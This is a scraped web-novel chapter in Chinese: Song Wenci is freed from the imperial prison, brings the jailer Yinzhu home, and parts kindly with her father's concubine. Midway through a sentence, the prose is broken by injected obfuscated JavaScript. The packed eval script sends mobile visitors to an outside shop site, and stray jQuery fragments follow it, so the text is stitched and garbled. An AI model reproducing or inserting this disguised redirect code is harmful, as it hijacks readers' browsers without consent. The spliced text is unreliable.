文趣网 > 其他小说 > 抑病药 > 6. 初雪
    刑房外,太后气得胸口起伏不已,呼吸愈发沉重,宋问慈伸手抚上她的臂腕,轻拍安抚道:“姑母再气便是如了晋琰帝的愿,这日子还长,我们定要讨回来这笔账。”

    太后抬眼,对上她那双素来平淡此刻却难掩悲怆的双眸,咬紧牙根长吸了口气,“说到底,这不过是你父亲他自作自受罢了。”

    她说罢顿了一下,抚上宋问慈的手,“问慈,你入狱后如何得知是他构陷于你呢?”

    她这话说得轻慢,仿佛不过是随口一问,但隐隐藏着试探的意味。

    宋问慈心底嗤笑,太后生性多疑,眼里容不得一粒沙子,而她如此决绝地舍弃宋郡生救她出狱,定然是早已知晓他私会惠王一事,从败露的那一刻起无论宋郡生是何人,他都失去了价值。

    “姑母,问慈不是傻子,何况这局可称不上多么精妙。”她莞尔一笑,“父亲还是太糊涂了,他以为惠王是个可信赖的盟友,却不知他最是阴险。”

    惠王不费一兵一卒,单是利用宋郡生对她的恨意便将太后架在了火上烤,即便是宋郡生落狱被审,也牵扯不了惠王分毫。毕竟,他只是命李庸弹劾转运使贪污漕粮,这倒不曾有假。

    算起来,斩了宋家漕运一线还让身居户部尚书的宋郡生殒命,陛下还得好好感谢他一番。

    “你父亲这些年真是被本宫保护得太好了,他既是宋家人,惠王又怎会真心实意拉拢,不过就是利用而已。”太后长须了一口气,阖眸按了按跳动的额角,“罢了,他也算过了大半辈子好日子,便是死了也没什么遗憾了。”

    “只是委屈了你,问慈。”她抹却忧虑的情绪,温言道。

    “此事既已过去,便不提了。这些时日,问慈倒真想家了。”宋问慈笑容温和,她目光四下扫过,落至走廊尽头靠墙呆坐着的女子,“姑母,我要带一个人走。”

    银珠背靠冰凉的砖墙蜷缩着身子,身上这件狱卒衣服过分单薄,寒气透过布衣钻进脊背处的皮肉里,冻得她一哆嗦。

    她却不敢挪动半点,生怕错过了刑房里再次被架出来的血人。

    垂头瞧着夯土地面,心里忐忑地想着只进不出的刑房里面的情况,脑海里闪过宋大人瘦柴的身子骨,又是一阵担忧。

    正出神之际,一双浸了血的素履出现在视线里,伴随着一道清润的声音落下,“银珠。”

    银珠猛地抬起头,对上来人含笑的眸,双唇微张,“宋,宋大人,你何时出来的?”

    “方才不久,”宋问慈躬身轻声道,“倒是你坐在这里想什么呢?地上寒凉,久坐可伤身子,快起来罢。”

    银珠瞧见那只纤长匀净的手伸至面前,再抬眼便对上她的笑眼,心下一颤,不自觉地抿唇轻咬。

    她下意识伸出自己的手,却瞧见上面的泥垢,赶忙顿住了手停在半空中。

    却没料到,宋问慈好似完全不在意一般,不由分说地握紧了她的手,托着她直起身子,笑道:“多亏了你送来的馒头,否则我可真没命活着了。”

    “宋大人没事儿就好了……”银珠垂眸,手掌在裤缝边悄悄擦拭着。

    她刚抬起头,却听宋问慈问道:“银珠,你想跟我走么?”

    犹如平地一声惊雷,她陡然一惊,睁大了眼睛,“宋大人,我么?”

    宋问慈轻笑着点头,抬手拭去她颊侧的灰尘,“诏狱多是见血之事,日子怕是难熬。若你愿意,可随我回宋府,定然让你日后温饱无虞。”

    银珠怔愣须臾,忙不迭地点头,笑意攀上眼梢,“银珠当然乐意!能跟着宋大人,是银珠的福分!”

    她忽地似是想起了什么,问道:“王司狱知道吗?”

    显然她虽初来乍到,却遭王屹不少迫害。

    “王大人已经死了。”宋问慈淡淡说道,转身回头,示意她跟上。

    银珠一愣,旋即立刻抬脚跟上去。

    她想,这陛下可终于做了件好事儿。

    她紧跟着宋问慈的步子,走过诏狱昏暗的长廊和楼梯,好一阵左转右拐才看到两扇黝黑而巨大的铁门,旁侧的狱吏见太后走近,忙俯首作揖,大开狱门,“太后、宋大人慢走。”

    三日未见的日光从慢慢敞开的狱门外照进来,宋问慈轻眯起眼,鬓边的碎发被寒风扬起。

    门外停着一辆马车,朱轮华毂,好不气派,而马车外坐着壮年车夫和一位身着淡粉色衣袍的女子,她瞧见宋问慈一行人,招手唤道:“大人!”

    宋问慈闻声看去,露齿浅笑,正欲走过去时,忽地感到眉间一凉。

    她仰起头,便见几缕细碎的雪线悬在半空中,不过眨眼间便飘落而下,漫天飞雪。

    身后的银珠难掩兴奋地叫了声:“宋大人,下雪了!”

    宋问慈怔了一瞬,而后缓缓伸出手,雪花落至指尖,倏忽化成一滴雪水。

    她心道,这似乎是今年平京城的第一场雪。

    出神不过片刻,宋问慈便躬身同太后告别,恭送她乘上另外一辆马车回到皇宫。

    “大人,你瘦了。”淡粉色衣袍的女子跳下马车,瞧着她这幅苍白清瘦的模样,心疼地蹙起眉头,搀扶着她坐上马车。

    目光落在神态有些忸捏的银珠身上,不禁莞尔一笑,“大人怎么还把狱卒带出来了。”

    “她名唤银珠,在狱中对我照拂颇多,日后便是一家人了。”宋问慈虚虚倚在车舆侧边,阖眼回道,“碎雪,你在外面等了多久?”

    银珠听到“一家人”这几个字,登时站定在原地,心跳如擂。

    碎雪抬脚走上马车,掀开布帷,招手示意银珠跟上,应道:“大人莫担心,我与太后一同来的,大约也就一个时辰。”

    外头鹅毛大雪纷然落下,而车舆内摆着精致小巧的火炉,充斥着温热之气。

    银珠伸手拭去宋问慈身上飘落的雪,瞧见那大滩干涸的血迹,眼角不禁泛起泪花,“大人这番下狱可真是受了好些苦。”

    宋问慈好笑地看着她通红的鼻尖和呼之欲出的眼泪,安抚道:“我们碎雪可别哭鼻子了,你家宋大人没什么大碍,况且这次也算是有些收获。”

    碎雪眨巴眼把眼泪吞下,“老爷可是还在狱里?”

    “死了。”

    宋问慈启唇轻吐出这两个字。

    碎雪眼瞳瞬间瞪大,意欲再说什么却碍于身侧有银珠这个外人在,便转而巧言道:“看来是陛下和太后明察秋毫,还了大人清白。”

    一旁的银珠一脸懵地瞧着她们二人一言我一语地打谜语似的,左右听不懂,所幸便轻掀起窗帷的一角,眼眸莹亮,扫过白茫茫的雪景。

    “大人可知今天是什么日子?”碎雪道。

    宋问慈思索须臾,“今儿是冬至罢。”

    碎雪咧嘴轻笑,“是了。太后说来接大人您,我便在出门前便备好了饺子,等回去热一热便能吃。”

    大雪漫天,瞧不见路,车夫便驾得慢了些,足足小半个时辰才终于到了宋府。

    宋问慈步履轻缓地走下马车,抬头便见那纂刻“宋府”二字的紫檀木牌匾,被积雪遮掩了小半,眸色晦暗。

    从今日起,这宋府名义上的主人便不在人世了。

    但还不够,远远不够。

    她要让整个宋家给她娘亲陪葬。

    宋府大门被里面人轻轻拉开条缝,瞧见是宋问慈回来,那人匆匆上前,抓住她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499819|202679||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的手臂,急促道:“问慈你回来了,老爷呢?”

    宋问慈转头看向她,一袭水蓝色锦缎棉袍外披着月白绒面短斗篷,鬓边簪了支红白相间的梅花簪,模样虽能看出岁月的痕迹,却还是美艳可人得很。

    她缓缓开口:“岑姨娘,他死了。若你愿留便还留在宋家,若你不愿,我给你些纹银,你好另寻他处。”

    虽早已做好最坏的打算,但死讯来得如此之快,仍叫岑桥月怔愣在了原地,许久未动。

    她有些想哭,但却没那么想哭。

    照理说,老爷是他的男人,男人死了,她作为相伴之人怎么也该掉两滴眼泪。

    但此刻她心里比悲痛更多的是惆怅,她与宋郡生萍水相逢,他看上她的美貌,她惦记他的家世,很难说到底有几分真情,其实更多也只是各取所需而已。

    雪絮飘落,裹着冷风刮过她的脸颊,她凝眸看向眉眼温煦一如往常的宋问慈,嘴张开又合上。

    宋家长女身居高位,良善如玉,而她只是宋郡生一时兴起带进门的妾室。

    世人以为这世族后宅里面定然充斥了勾心斗角,没人料想到,她与问慈的关系称不上亲密无间,却也甚是和睦。

    她打理着后宅琐事,照拂着老爷起居,除此之外便是时不时盼望着自己这肚子能争点气,但她深知,即便真能生下来个崽子,也断然比不上宋问慈这样的天之骄子。

    而宋问慈忙于政事,周旋于文武百官之间,背后还有很是疼爱她的太后。

    她们二人之间自然难有矛盾,却也没什么太深的交集,硬要说,最深的交集恐怕就是她幼时尚未独立之时她援手相助了几次而已。

    她许久没回话,宋问慈却也不急,迎着散落的大雪等着她,却是把一旁的碎雪看急了,正欲开口催促,却听岑桥月抬眸问道:

    “问慈,我这人一贯没什么主见。看在我们相识相知几年了的份上,你可否帮我出出主意,我该怎么办?”

    她的眼里溢满了茫然、不安和愁苦,衬得那身亮眼的水蓝色也暗淡了几分。

    宋问慈神色认真,抬手轻拍掉她肩上的落雪,徐徐道:“岑姨娘,在这后宅里守寡半辈子实在孤独,难有盼头。而你心思细腻,盘算周全,若你信我,便出去开个铺子做些营生,也好过待在这晦气地方。”

    岑桥月仔细听着,把她一字一句尽数牢记在脑子里,只是听到那两个字时不禁疑惑道:“晦气?”

    宋问慈笑道:“宋郡生克妻克妾,他发妻和我娘不都早早离世了么?”

    那因突然得知死了丈夫、没了依靠的乌云罩头之感消了小半,岑桥月不禁莞尔,笑完却觉得有些不妥,急忙敛起笑意。

    她将宋问慈身上的裘衣拉紧了些,柔声说道:“我记得第一次见到你的时候,你瘦瘦小小的,一双眼睛却很是明亮。”

    “老爷死了,我也不好意思再没名没分地赖在这儿,便听问慈你的劝告,我自己开个铺子,卖糖水,卖绣品,总归也能养活自己。”

    她顿了下,眨了眨眼,声音有些哽咽,“今儿是冬至,我们吃个团圆饭,之后姨娘便走了,你好好照顾自己。”

    宋问慈唇瓣轻抿,眼梢微动,“你也是,姨娘。若日后成了平京城数一数二的大掌柜,可得叫我上门坐坐。”

    “好,好,还能少了你的嘛。”

    一行人说笑着往宋问慈的别院走去,推开厢门,却见里面一片狼藉。

    而正中间坐着一位身着桃粉色棉袍,模样秀丽的女子,瞧见众人前来,她翻了个白眼,斜睨着宋问慈,语气不善地说道:“堂姐可真是命大啊,在诏狱那鬼地方待了三天三夜都能完好无损地回来。”